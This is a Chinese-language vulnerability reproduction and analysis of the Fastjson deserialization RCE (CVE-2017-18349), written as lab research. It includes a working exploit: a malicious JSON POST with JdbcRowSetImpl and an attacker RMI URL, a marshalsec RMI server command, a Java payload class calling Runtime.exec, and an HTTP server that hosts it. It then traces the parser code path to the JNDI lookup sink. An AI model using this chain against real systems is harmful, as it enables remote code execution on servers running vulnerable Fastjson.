一、漏洞背景
漏洞編號:CVE-2017-18349
二、漏洞復現
poc源於https://mntn0x.github.io/2020/04/07/Fastjson%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
計算器poc
POST /FastjsonWeb_war/json HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 147
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit",
"autoCommit":true
}
rmi:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.52.129:8000/#rce_1_2_24_exploit" 9999
Class:
import java.lang.Runtime;
import java.lang.Process;
public class rce_1_2_24_exploit {
public rce_1_2_24_exploit(){
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception var2){
var2.printStackTrace();
}
}
public static void main(String[] args) {
new rce_1_2_24_exploit();
}
}
http:
python -m SimpleHTTPServer 8000
三、漏洞分析
網絡上關於該漏洞的分析的文章已經非常多了,這里做一個大概的分析,執行過程分為兩個大部分。
(1)fastjson通過反序列化,將json中指定的字符串對象所屬的類的名稱(通過反射的方式)完成還原對象的過程。
(2)又因為可以隨意還原大部分對象並以此進行調用,因此可以通過這個方式去利用某些類進行遠程命令執行。又稱之為利用鏈。
1、反序列化過程
構造payload進行攻擊

該接口對應的控制器如下,並且加上斷點。

繼續跟進parse

進入parse方法中

DefaultJSONParser的構造方法主要在進行解析前的初始化操作。其中ParseConfig.getGlobalInstance()方法將返回global參數。

global變量則是有newParserConfig初始化而來,溯源過程如下

最終逆向回去則得到的是最終通過方法重載的方法調用,主要包括被禁止調用的方法等等。

初始化操作

回到DefaultJSONParser,進入到parse方法中進行解析

由於在上一步初始化操作時已經可以看到當第一個字符為“{”時,lexer.token為12,因此直接進入case12的分支。

開始進入解析操作,取出第一個字符,並且判斷該字符是否為雙引號,若為雙引號,則意味着key的開始

通過scansybol將key的字符串取出來,並切判斷該json是否為正常的json,若不正常則拋出異常

此時key的值已為@type。繼續往下分析當key的名字取出來之后,則判斷該key是否為@type,若為@type則調用繼續調用scanSymbol將key的鍵值取出來,然后使用TypeUtils.loadClass對key的鍵值即該類進行加載進行的加載

該加載流程為,首先獲取默認的類加載器

loadClass加載時,首先判斷mappings是否存在,若有則直接返回該mappings中的該類的clazz對象,若無則重新加載到mappings中。

接着上面的case12流程繼續走,獲取反序列化器


(神奇的是第一次調用的時候deserializer不為空,后來才發現為空於是跟進起重新進行反序列化器的構造)
調用newInstance進行實例化

跟進deserialize方法

轉向重載的構造方法

(但是其下一步的asm當中的方法貌似沒辦法調試,目前對fastjson源碼還沒有很熟暫且擱置)

繼續跟進

其deserialize方法中在遇到@type之后,通過循環去處剩下的key和value值進行解析(通過ScanSymbol)

此時此刻獲取到key的值為dataSourceName

再次循環取出key為autoCommit

最終進入parseField方法

這一段有很長的調用鏈,太復雜了,直接跟到DefaultDeserializer類的this.setValue方法,將其他key取出來的值直接作為參數復制給com.sun.rowset.JdbcRowSetImpl,為內部屬性賦值,而在賦值過程中需要調用其內部屬性的set方法,如autoCommit的復制最終會調用setAutoCommit方法。

而在setAutoCommit方法中可以看到其調用了connect方法

connect方法中,默認通過jndi的方式(lookup方法)對數據源進行獲取,若lookup方法中的參數可控,則會造成命令執行,而其中的dataSourceName恰好是我們可控的,因此便可構造惡意的rmi服務進行攻擊。

四、參考
https://mp.weixin.qq.com/s/hPDFCRWsKSA8_72OIFYfAA
https://mntn0x.github.io/2020/04/07/Fastjson漏洞復現/#1-2-23版本反序列化RCE
